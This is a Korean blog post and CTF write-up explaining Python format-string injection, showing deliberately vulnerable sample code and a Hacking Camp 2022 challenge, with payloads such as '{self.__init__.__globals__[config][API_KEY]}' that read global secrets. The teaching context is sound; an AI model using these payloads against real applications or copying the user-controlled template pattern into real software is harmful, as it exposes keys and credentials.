Post

Python Format Function Vulnerability

Python Format Function Vulnerability



해킹캠프에서 관련된 문제가 나와서 정리를 해보았다.

내용 출처
podalirius.net/en/articles/python-format-string-vulnerabilities/
geeksforgeeks.org/vulnerability-in-str-format-in-python/


파이썬3에는 format() 함수가 있다.

format에서 객체의 속성에 직접적으로 접근할 수 있다.

코드는 위의 링크에서 가져온 것이다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import sys

config = {
    'API_KEY' : "212817d980b9a03add91e5814d02"
}

class API(object):
    def __init__(self, apikey):
        self.apikey = apikey

    def renderHTML(self, templateHTML, title, text):
        return (templateHTML.format(self=self, title=title, text=text))


if __name__ == '__main__':
    if len(sys.argv) != 3:
        print("Usage : python3 "+sys.argv[0]+" TEMPLATE CONTENT")
    else :
        a = API(config['API_KEY'])
        print(a.renderHTML(sys.argv[1], "Vuln web render App", sys.argv[2]))


'''
$ ./test.py "<p>{text}</p>" "Wow such string"
<p>Wow such string</p>
'''


이러한 코드가 있을 때, __init__ 메소드로 다른 속성들에 접근을 할 수 있다.


1
2
$ ./sandbox.py "<p>{text.__init__}</p>" "Wow such string"
<p><method-wrapper '__init__' of str object at 0x7f8f10a3b9f0></p>


주어진 text가 str 클래스이므로 str 클래스의 객체에 접근했음을 알 수 있다.

여기서 __globals__ 메소드를 통해 전역 변수들에 접근을 할 수 있는데, config 딕셔너리는 전역 변수이므로 이 값이 나오게 된다.
'config': {'API_KEY': '212817d980b9a03add91e5814d02'},


따라서 이 값을 악의적인 사용자가 얻어낼 수 있게 된다.


1
2
$ ./sandbox.py "<p>{self.__init__.__globals__[config][API_KEY]}</p>" "Wow such string"
<p>212817d980b9a03add91e5814d02</p


이 취약점은 조건이 한정적인 것 같다.

어느 클래스가 있고 그 클래스의 인스턴스가 있을 때, format 함수에서 사용하는 변수가 그 인스턴스에 접근할 수 있을 때 유용한 것 같다.






HACKINGCAMP



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import hashlib
import random
import time

SECRET = {
    "FLAG" : "HCAMP{**REDACTED**}"
}

class Memo:
    def __init__(self):
        pass
    
memo_obj = Memo()

def generate_id(a):
    md5_hash = hashlib.md5()
    md5_hash.update(str(a).encode("utf-8"))
    id = md5_hash.hexdigest()
    return id
    
def register():
    user_info = {
        "name" : input("Name : "),
        "comment" : input("Comment : "),
        "id" : ""
    }
    user_info["id"] = generate_id(str(random.randint(0,255)) + user_info["name"])
    return print("Success ! Your ID is {id}".format(id=user_info["id"]))
    
def textbook():
    print("Write what you want")
    text = input()
    print(f"{text}, Enter successfully !".format(text=memo_obj))
    
def get_flag():
    admin_id = generate_id(str(random.randint(0,2**30)) + "admin")
    print(admin_id)
    guess = input("Guess Admin's ID. You will get a flag : ")
    print("Wait ..")
    if admin_id == guess:
        time.sleep(3)
        print(SECRET["FLAG"])
    else:
        time.sleep(3)
        print("Wrong !")
        
banner = """
##################################
#  Welcome to Hacking Camp 2022  #
#                                #
# 1) Register                    #
# 2) Textbook                    #
# 3) Get Flag                    #
##################################
"""

def main():
    print(banner)
    while True:
        menu = input(">>> Chooose Menu : ")
        if menu == "1":
            print("[ Register ]")
            register()
        elif menu == "2":
            print("[ Textbook ]")
            textbook()
        elif menu == "3":
            print("[ Get Flag ]")
            get_flag()
        else:
            print("Oops!")

if __name__ == "__main__":
    main()


위의 문제는 해킹캠프에서 misc 문제로 나온 HACKINGCAMP 문제이다.

위의 취약점과 비슷한 취약점이 발생한다.

왜나하면 여기서는 f-string도 있기 때문이다.


1
2
3
4
def textbook():
    print("Write what you want")
    text = input()
    print(f"{text}, Enter successfully !".format(text=memo_obj))


메뉴로 2번을 입력하면 위의 코드가 실행되는데, 입력값을 받은 뒤 text에 저장하고 f-string으로 출력을 해주는데, 포맷 함수에서 text에 memo_obj 인스턴스 변수를 저장한다.

여기서 text 변수가 인스턴스에 접근할 수 있기 때문에 취약점이 발생하게 되는 것이다.


그래서 {text.__init__.__globals__}를 하면 SECRET 변수의 값이 있는 걸 확인할 수 있고, 이 값을 출력해줄 수 있다.
,'SECRET': {'FLAG': 'HCAMP{**REDACTED**}'},


1
2
3
4
5
>>> Chooose Menu : 2
[ Textbook ]
Write what you want
{text.__init__.__globals__[SECRET][FLAG]}
HCAMP{**REDACTED**}, Enter successfully !






This post is licensed under CC BY 4.0 by the author.